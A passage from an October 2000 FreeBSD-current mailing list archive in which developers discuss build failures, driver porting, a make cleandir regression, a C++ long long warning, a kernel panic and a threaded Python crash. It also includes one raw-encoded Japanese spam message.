exposure do I have? It's clear to me it would be less painful if we had two bike sheds - uh, behaviors for /dev/random. One would be active at system boot time, and hence while the system was running single user. It wouldn't require lots of entropy, and also wouldn't be of cryptographic quality (though that would be nice)u. The other would be the quality system being built, but would be enabled by some userland action. Once enabled it can't be turned off. The obvious userland action is writing to /dev/random to give it entropy. However, someone who actually understands the issues should go through the rc sequence and figure out when we need cryptographic quality randomness (or we could add a "CRYPTORANDOM" to the NetBSD-like RC, and things that require that can be flagged as such). This is the step needed to decide if doing this kind of split has any advantage at all. The one problem I see is preventing someone from shotting themselves in the foot by, for instance, creating ssh host keys using the low-quality /dev/random. There are certainly others. Just some thoughts, possibly useful, probably not - but I thought worth sharing. To: Current List Subject: boot_crunch & make release & ppp Message-ID: <20001030143347.A21461@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ... are not liking each other after the lastest ppp commits. I do not have time to look into this until late tomorrow (and no, I don't see any commits which would appear to fix this yet). -John crunchide -k _crunched_usbdevs_stub usbdevs.lo cc -static -o boot_crunch boot_crunch.o sh.lo find.lo sed.lo test.lo rm.lo pwd.lo ppp.lo sysinstall.lo newfs.lo minigzip.lo cpio.lo fsck.lo ifconfig.lo route.lo slattach.lo mount_nfs.lo dhclient.lo arp.lo hostname.lo rtsol.lo pccardc.lo pccardd.lo usbd.lo usbdevs.lo -ll -ledit -lutil -lkvm -lmd -lcrypt -lftpio -lz -lnetgraph -ldialog -lncurses -lmytinfo -ldisk -lipx ppp.lo: In function `MPPEKeyChange': ppp.lo(.text+0x2b261): undefined reference to `GetNewKeyFromSHA' ppp.lo(.text+0x2b27a): undefined reference to `RC4_set_key' ppp.lo(.text+0x2b28e): undefined reference to `RC4' ppp.lo: In function `MPPEOutput': ppp.lo(.text+0x2b31f): undefined reference to `RC4_set_key' ppp.lo(.text+0x2b35c): undefined reference to `RC4' ppp.lo(.text+0x2b381): undefined reference to `RC4' ppp.lo: In function `MPPEInput': ppp.lo(.text+0x2b4bb): undefined reference to `RC4_set_key' ppp.lo(.text+0x2b4dc): undefined reference to `RC4' ppp.lo(.text+0x2b512): undefined reference to `RC4' ppp.lo: In function `MPPEInitInput': ppp.lo(.text+0x2b7f0): undefined reference to `GetAsymetricStartKey' ppp.lo(.text+0x2b801): undefined reference to `GetNewKeyFromSHA' ppp.lo: In function `MPPEInitOutput': ppp.lo(.text+0x2b8f4): undefined reference to `GetAsymetricStartKey' ppp.lo(.text+0x2b905): undefined reference to `GetNewKeyFromSHA' *** Error code 1 Stop in /usr/obj/usr/src/release/boot_crunch. *** Error code 1 Stop in /usr/src/release. *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 15:11:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from dataloss.net (massive.dataloss.net [212.189.232.193]) by hub.freebsd.org (Postfix) with SMTP id 4FEEF37B479 for ; Mon, 30 Oct 2000 15:11:31 -0800 (PST) Received: (qmail 424 invoked by uid 1000); 30 Oct 2000 23:08:55 -0000 Date: Tue, 31 Oct 2000 00:08:55 +0100 From: Peter van Dijk To: current@FreeBSD.ORG Subject: Re: Intel Etherexpress support? Message-ID: <20001031000855.C260@dataloss.net> Mail-Followup-To: current@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from winter@jurai.net on Thu, Oct 26, 2000 at 12:58:28AM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 26, 2000 at 12:58:28AM -0400, Matthew N. Dodd wrote: > On Tue, 24 Oct 2000, Glendon Gross wrote: > > Is it possible to use the old Intel EtherExpress-16 cards with FreeBSD? > > The driver was broken a while back and I'm right in the middle of trying > to fix it. I've actually given up on the FreeBSD driver and ported the > NetBSD driver with mixed success. I've got 3c503 boards working great but > the EE16s are really nasty and I'm still tracking down a few issues. > > You might try the attached patch against sys/dev/ie/if_ie.c though as I'm > not quite ready to commit what I've got. Without looking at any of your code, I would kindly like to ask you not to look at the Linux driver for eexpress too much - it's severely broken and has all kinds of timing problems that can crash boxes at predictable moments (some boxes crash when you ifconfig, some crash when you run tcpdump [probably on the switch to PROMISC]). Slower boxes seem to work better. Greetz, Peter -- dataloss networks '/ignore-ance is bliss' - me 'Het leven is een stuiterbal, maar de mijne plakt aan t plafond!' - me To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 15:13:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 7412537B4FE for ; Mon, 30 Oct 2000 15:12:32 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id PAA62357 for current@freebsd.org; Mon, 30 Oct 2000 15:12:31 -0800 (PST) (envelope-from obrien) Date: Mon, 30 Oct 2000 15:12:30 -0800 From: "David O'Brien" To: current@freebsd.org Subject: `make cleandir' doesn't seem to be cleaning as well as before Message-ID: <20001030151230.B62186@dragon.nuxi.com> Reply-To: obrien@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Are others seing a situation where ``cd /usr/src/foo && make obj && make cleandir && make cleandir'' isn't deleting /usr/obj/usr/src/foo/ ? It used to and it needs to in order that the second ``make cleandir'' will clean /usr/src/foo/ itself. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 15:59:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id 290F737B4C5 for ; Mon, 30 Oct 2000 15:59:24 -0800 (PST) Received: by shadowmere.student.utwente.nl (Postfix, from userid 1000) id E258B1F2F; Tue, 31 Oct 2000 00:59:22 +0100 (CET) Date: Tue, 31 Oct 2000 00:59:22 +0100 From: Pascal Hofstee To: freebsd-current@freebsd.org Subject: ANSI C++ long long issues Message-ID: <20001031005922.A89125@shadowmere.student.utwente.nl> Reply-To: daeron@shadowmere.student.utwente.nl Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, After returning from a month long vacation, i updated my CURRENT system to the recent CVS. After this update my Mozilla Tinderbox-builds seem to suffer from a configure complaining my C++ compiler has a "-pedanctic long long" bug. [part of config.log] configure:10680: c++ -o conftest -pthread -O -pedantic -I/usr/X11R6/include conftest.C -lutil -lm 1>&5 configure: In function `int main()': configure:10676: warning: ANSI C++ does not support `long long' configure: failed program was: #line 10671 "configure" #include "confdefs.h" #ifdef __cplusplus extern "C" void exit(int); #endif int main () { if (sizeof(long long) != 8) { return 1; } return 0; } This problem has never occurred earlier. I am wondering if this is actual supposed behaviour that got recently introduced, or if there is actually something wrong with the C++ compiler currently in CURRENT. I can of course bypass the problem by specific --disable-pedantic but i'd rather not do that. -- Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > begin LOVE-LETTER-FOR-YOU.TXT.vbs I'm a signature virus. Please copy me and help me spread. end To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 16:18: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from webcom.it (h255-22-97.MI2.albacom.net [213.255.22.97]) by hub.freebsd.org (Postfix) with SMTP id AA62737B4CF for ; Mon, 30 Oct 2000 16:17:50 -0800 (PST) Received: (qmail 1097 invoked by uid 1000); 31 Oct 2000 00:17:53 -0000 Message-ID: <20001031001753.1096.qmail@webcom.it> From: andrea@webcom.it Subject: Panic in kern/vfs_subr.c To: freebsd-current@freebsd.org Date: Tue, 31 Oct 2000 01:17:52 +0100 (CET) X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tonight my -current paniced: panic: vrele: negative ref cnt I tried to repeat it but couldn't. The system wasn't very loaded at the time, I wasn't doing anything particular. Any pointer, at least on what else to check to have a meaningful PR? Bye, Andrea -- The computer revolution is over. The computers won. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 16:18: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 0475B37B4F9; Mon, 30 Oct 2000 16:17:56 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA15638; Mon, 30 Oct 2000 16:17:54 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id e9V0Hsc02640; Mon, 30 Oct 2000 16:17:54 -0800 (PST) (envelope-from jdp) Date: Mon, 30 Oct 2000 16:17:54 -0800 (PST) Message-Id: <200010310017.e9V0Hsc02640@vashon.polstra.com> To: current@freebsd.org From: John Polstra Reply-To: current@freebsd.org Cc: obrien@freebsd.org Subject: Re: `make cleandir' doesn't seem to be cleaning as well as before In-Reply-To: <20001030151230.B62186@dragon.nuxi.com> References: <20001030151230.B62186@dragon.nuxi.com> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <20001030151230.B62186@dragon.nuxi.com>, David O'Brien wrote: > Are others seing a situation where > ``cd /usr/src/foo && make obj && make cleandir && make cleandir'' isn't > deleting /usr/obj/usr/src/foo/ ? It used to and it needs to in order > that the second ``make cleandir'' will clean /usr/src/foo/ itself. Yes, I've been noticing that for a month at least. I don't like it either. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 17:20:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from proxy.mailsender (unknown [211.5.191.206]) by hub.freebsd.org (Postfix) with ESMTP id 525D737B479; Mon, 30 Oct 2000 17:20:23 -0800 (PST) Received: from add ([10.0.0.100]) by proxy.mailsender (8.9.3/8.9.3) with SMTP id DAA07134; Tue, 31 Oct 2000 03:07:26 +0900 From: add@nozokibeya.com MIME-Version: 1.0 Date: Tue, 31 Oct 2000 03:07:57 +0900 Subject: =?ISO-2022-JP?B?GyRCJDMkcyRQJHMkTyEqGyhC?= To: add@nozokibeya.com Message-ID: Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Mailer: JsvMail 3.0 (Shuriken Pro) X-Priority: 3 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG $B$3$s$P$s$O!*FMA3$N%a!<%k$G?=$7Lu$4$6$$$^$;$s!#(B $B$3$N%a!<%k$,%"%@%k%H%5%$%H$K6=L#$N$J$$J}$d#1#8:PL$K~$NJ}(B $B$^$?!"$^$C$?$/I,MW$N$J$$J}$N$H$3$m$KFO$$$?>l9g$K$O(B $B62$lF~$j$^$9$,!":o=|$7$F$$$?$@$-$^$9$h$&$*4j$$$$$?$7$^$9!#(B $B%j%"%k%?%$%`1GA|!*$N@8Ep;#!&@8EpD0(B $B$7$+$b"M!z!z!z$3$l$>K\J*$NF02h!*F0$/1GA|$r=i8x3+(B!!$B!z!z!z(B $B$"$J$?$O%^%5%7%/K\J*$N%9%H!<%+!<$G$9!#(B $B%@%$%"%d%k#Q(B2$B$d9q:]2s@~$O0l@Z;HMQ$7$F$$$^$;$s!*(B $B$9$3$V$k%Y%C%T%s$5$s@*$>$m$$!*!*K\Ev$K!"$3$N=w$N;R$N%$%$%H%3%m$,8+$($k$J$s$F(B $B>iCL$@$H;W$C$F$7$^$&$/$i$$!D$@$^$5$l$k$J$s$F$"$j$($J$$!*!*(B $BD6CQ$:$+$7$$=w$N;R$?$A$N;d@83h(B($B@-@83h(B)$B$r!y:#$3$N;~4V$,%*%9%9%a!y(B $B$?$!!A$C$W$j$H$4Mw$/$@$5$$!#(B http://www.nozokibeya.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 17:49:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from big.edisons.net (unknown [212.104.1.245]) by hub.freebsd.org (Postfix) with ESMTP id 7F8D137B4C5 for ; Mon, 30 Oct 2000 17:49:38 -0800 (PST) Received: from [212.104.25.204] by big.edisons.it (NTMail 5.06.0014/NT6125.00.c870d48c) with ESMTP id aymptaaa for freebsd-current@FreeBSD.ORG; Tue, 31 Oct 2000 02:52:52 +0100 Message-ID: <001e01c042dc$c6b71720$7801a8c0@pyxiscomputers.com> From: "Vittorio Mori" To: References: <82990.972178713@winston.osd.bsdi.com> <39F2698B.3D24B3C0@CoreBit.com> Subject: Need help to boot (was : -current hangs during boot) Date: Tue, 31 Oct 2000 02:49:15 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello FreeBSD-hackers. I had my first CVSup-ed source tre d/loaded today. It compiled correctly (make buildworld) and installed correctly (make installworld). But on rebooting the box, the loader fails to find a bootable kernel. It seems my loader.conf got trashed somewhere ... I get the list of the / partition, but the command load kernel gives me the "not found" message. I'm totally green on the subject, please, give me a bit of advice on how can I make the box boot again (or if you have some pointers to web resources, man pages etc.), and where I messed up the whole thing. Thanks guys! Bye, Wyk'00 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 17:59:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-202-178-14.dsl.snfc21.pacbell.net [63.202.178.14]) by hub.freebsd.org (Postfix) with ESMTP id 9C6A637B4D7 for ; Mon, 30 Oct 2000 17:59:20 -0800 (PST) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.11.0/8.11.1) with ESMTP id e9V23ZF19007; Mon, 30 Oct 2000 18:03:35 -0800 (PST) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200010310203.e9V23ZF19007@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Vittorio Mori" Cc: freebsd-current@FreeBSD.ORG Subject: Re: Need help to boot (was : -current hangs during boot) In-reply-to: Your message of "Tue, 31 Oct 2000 02:49:15 +0100." <001e01c042dc$c6b71720$7801a8c0@pyxiscomputers.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 30 Oct 2000 18:03:35 -0800 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I had my first CVSup-ed source tre d/loaded today. It compiled correctly > (make buildworld) and installed correctly (make installworld). > > But on rebooting the box, the loader fails to find a bootable kernel. It > seems my loader.conf got trashed somewhere ... I get the list of the / > partition, but the command > > load kernel > > gives me the "not found" message. > You should have build and installed a new kernel at the same time. Try 'boot /kernel'. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 18:13:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id AA00837B479; Mon, 30 Oct 2000 18:13:29 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id SAA64189; Mon, 30 Oct 2000 18:13:29 -0800 (PST) (envelope-from obrien) Date: Mon, 30 Oct 2000 18:13:28 -0800 From: "David O'Brien" To: current@freebsd.org Subject: Re: `make cleandir' doesn't seem to be cleaning as well as before Message-ID: <20001030181328.A64169@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20001030151230.B62186@dragon.nuxi.com> <200010310017.e9V0Hsc02640@vashon.polstra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200010310017.e9V0Hsc02640@vashon.polstra.com>; from jdp@polstra.com on Mon, Oct 30, 2000 at 04:17:54PM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Are others seing a situation where > ``cd /usr/src/foo && make obj && make cleandir && make cleandir'' isn't > deleting /usr/obj/usr/src/foo/ ? It used to and it needs to in order > that the second ``make cleandir'' will clean /usr/src/foo/ itself. I tracked this down to rev 1.33 of bsd.obj.mk. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 18:17:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id BB7FE37B4C5; Mon, 30 Oct 2000 18:17:25 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id SAA64218; Mon, 30 Oct 2000 18:17:25 -0800 (PST) (envelope-from obrien) Date: Mon, 30 Oct 2000 18:17:25 -0800 From: "David O'Brien" To: current@freebsd.org Subject: Re: `make cleandir' doesn't seem to be cleaning as well as before Message-ID: <20001030181725.B64169@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20001030151230.B62186@dragon.nuxi.com> <200010310017.e9V0Hsc02640@vashon.polstra.com> <20001030181328.A64169@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20001030181328.A64169@dragon.nuxi.com>; from obrien@freebsd.org on Mon, Oct 30, 2000 at 06:13:28PM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Oct 30, 2000 at 06:13:28PM -0800, David O'Brien wrote: > > Are others seing a situation where > > ``cd /usr/src/foo && make obj && make cleandir && make cleandir'' isn't > > deleting /usr/obj/usr/src/foo/ ? It used to and it needs to in order > > that the second ``make cleandir'' will clean /usr/src/foo/ itself. > > I tracked this down to rev 1.33 of bsd.obj.mk. I'm wrong, it is the rev 1.3[12]. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 19:36:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from lavender.sanpei.org (dhcp08.on.cs.keio.ac.jp [131.113.67.238]) by hub.freebsd.org (Postfix) with ESMTP id 650B037B4C5; Mon, 30 Oct 2000 19:36:44 -0800 (PST) Received: (from sanpei@localhost) by lavender.sanpei.org (8.11.0/3.7W) id e9V3aWW02955; Tue, 31 Oct 2000 12:36:32 +0900 (JST) Date: Tue, 31 Oct 2000 12:36:32 +0900 (JST) Message-Id: <200010310336.e9V3aWW02955@lavender.sanpei.org> To: morganw@chemicals.tacorp.com Cc: freebsd-current@FreeBSD.ORG, freebsd-mobile@FreeBSD.ORG From: sanpei@sanpei.org Subject: Re: new pccard beep code "not quite right" In-Reply-To: Your message of "Sat, 28 Oct 2000 22:34:26 -0400 (EDT)". X-Mailer: mnews [version 1.22] 1999-12/19(Sun) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG morganw@chemicals.tacorp.com wrote: >> While I'm sure the new beeps for pccard insert/remove are quite charming >> on some laptops, they are a bit broken on mine... >> >> The new beeps are nothing more than a barely audible click or two... But >> the real problem is that if the speaker wants to beep afterwards, my ears >> are assaulted by not one but a nearly endless stream of beeps. They >> continue for different lengths depending on when they begin... They seem >> to stop when a card is identified though -- but it only requires another >> beep to set it off again, and they continue until a card is either ejected >> or another is identified (they don't stop if I break to ddb). >> >> Any debugging info needed will be happily provided! This is my fault. I fixed this problem in sys/pccard/pccard_beep.c rev.1.5. Please update your kernel. Cheers MIHIRA Yoshiro To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 20:55:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id DBA9137B4CF for ; Mon, 30 Oct 2000 20:55:28 -0800 (PST) Received: from localhost (winter@localhost) by sasami.jurai.net (8.9.3/8.8.7) with ESMTP id XAA34456; Mon, 30 Oct 2000 23:54:07 -0500 (EST) Date: Mon, 30 Oct 2000 23:54:07 -0500 (EST) From: "Matthew N. Dodd" To: Peter van Dijk Cc: current@FreeBSD.ORG Subject: Re: Intel Etherexpress support? In-Reply-To: <20001031000855.C260@dataloss.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, Peter van Dijk wrote: > Without looking at any of your code, I would kindly like to ask you > not to look at the Linux driver for eexpress too much - it's severely > broken and has all kinds of timing problems that can crash boxes at > predictable moments (some boxes crash when you ifconfig, some crash > when you run tcpdump [probably on the switch to PROMISC]). Slower > boxes seem to work better. I've ported the NetBSD driver. I avoid looking at Linux code as much as possible. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 21:35:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from white.dogwood.com (white.dogwood.com [63.96.228.130]) by hub.freebsd.org (Postfix) with ESMTP id 065FC37B4CF for ; Mon, 30 Oct 2000 21:35:44 -0800 (PST) Received: (from dave@localhost) by white.dogwood.com (8.11.1/8.9.3) id e9V5Zhi25700 for current@freebsd.org; Mon, 30 Oct 2000 21:35:43 -0800 (PST) (envelope-from dave) From: Dave Cornejo Message-Id: <200010310535.e9V5Zhi25700@white.dogwood.com> Subject: threaded python seg faults? To: current@freebsd.org Date: Mon, 30 Oct 2000 21:35:43 -0800 (PST) X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For the last couple of days I've been trying to build python 2 from the ports tree without success. I updated my sources a couple of time and rebuilt the kernel and world with no effect. The problem seems to have appeared in the last couple of days and seems to happen while loading libc_r.so.4 - Is anyone else seeing this, or have any suggestion what I might be doing wrong? Further playing around get it working with WITHOUT_THREADS defined, so the problem seems to point at the threaded libc - which I've rebuilt several time in the last couple of days. thanks! dave Here's what gdb shows me: juneau# gdb python GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (gdb) run Starting program: /usr/ports/lang/python/work/Python-2.0/python Program received signal SIGSEGV, Segmentation fault. 0x28383ec6 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 (gdb) bt #0 0x28383ec6 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 #1 0x80bb5b0 in __register_frame_info () #2 0x2834713a in _init () from /usr/lib/libc_r.so.4 #3 0x28343fe5 in _init () from /usr/lib/libc_r.so.4 #4 0x2815086c in _rtld () from /usr/libexec/ld-elf.so.1 (gdb) quit The program is running. Exit anyway? (y or n) y juneau# The system is a dual PIII-600 w/512M RAM if that helps... -- Dave Cornejo @ Dogwood Media, Fremont, California "There aren't any monkeys chasing us..." - Xochi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 21:58: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from maulwurf.franken.de (maulwurf.franken.de [193.141.110.9]) by hub.freebsd.org (Postfix) with ESMTP id C942637B4C5 for ; Mon, 30 Oct 2000 21:57:57 -0800 (PST) Received: by maulwurf.franken.de via rmail with stdio id for freebsd-current@freebsd.org; Tue, 31 Oct 2000 06:57:55 +0100 (MET) (Smail-3.2 1996-Jul-4 #1 built DST-May-30) Received: (from tanis@localhost) by gaspode.franken.de (8.11.1/8.9.3) id e9V5rts01042; Tue, 31 Oct 2000 06:53:55 +0100 (CET) (envelope-from tanis) Date: Tue, 31 Oct 2000 06:53:55 +0100 From: German Tischler To: Pascal Hofstee Cc: freebsd-current@freebsd.org Subject: Re: ANSI C++ long long issues Message-ID: <20001031065355.A1011@gaspode.franken.de> References: <20001031005922.A89125@shadowmere.student.utwente.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20001031005922.A89125@shadowmere.student.utwente.nl>; from daeron@shadowmere.student.utwente.nl on Tue, Oct 31, 2000 at 12:59:37AM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 12:59:37AM +0100, Pascal Hofstee wrote: > Hi, > > After returning from a month long vacation, i updated my CURRENT system to > the recent CVS. After this update my Mozilla Tinderbox-builds seem to > suffer from a configure complaining my C++ compiler has a "-pedanctic > long long" bug. Though the new ISO C (C99) standard includes long long, ISO C++ does not. If Mozilla depends on long long in C++, it is broken. long long is a g++ extension that is supposed to be switched off when compiling with -ansi or -pedantic. --gt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 23:11: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from sol.cc.u-szeged.hu (sol.cc.u-szeged.hu [160.114.8.24]) by hub.freebsd.org (Postfix) with ESMTP id 0D91437B479 for ; Mon, 30 Oct 2000 23:11:01 -0800 (PST) Received: from petra.hos.u-szeged.hu by sol.cc.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id IAA00789; Tue, 31 Oct 2000 08:10:37 +0100 (MET) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 13qVZR-0003KR-00; Tue, 31 Oct 2000 08:10:57 +0100 Date: Tue, 31 Oct 2000 08:10:57 +0100 From: Szilveszter Adam To: Pascal Hofstee Cc: freebsd-current@freebsd.org Subject: Re: ANSI C++ long long issues Message-ID: <20001031081057.B12147@petra.hos.u-szeged.hu> Mail-Followup-To: Pascal Hofstee , freebsd-current@freebsd.org References: <20001031005922.A89125@shadowmere.student.utwente.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <20001031005922.A89125@shadowmere.student.utwente.nl>; from daeron@shadowmere.student.utwente.nl on Tue, Oct 31, 2000 at 12:59:22AM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 12:59:22AM +0100, Pascal Hofstee wrote: > Hi, > > After returning from a month long vacation, i updated my CURRENT system to > the recent CVS. After this update my Mozilla Tinderbox-builds seem to > suffer from a configure complaining my C++ compiler has a "-pedanctic > long long" bug. Hi! Don't you happen to use the --enable-long-long-warning option in the configure step? I do not use it for one because the "official" Mozilla tinderboxes do not use it either. (I also use --disable-pedantic but that is another matter) and Mozilla has always built well. (and during the last period it actually works ) On a semi-related note, have you managed to get the new 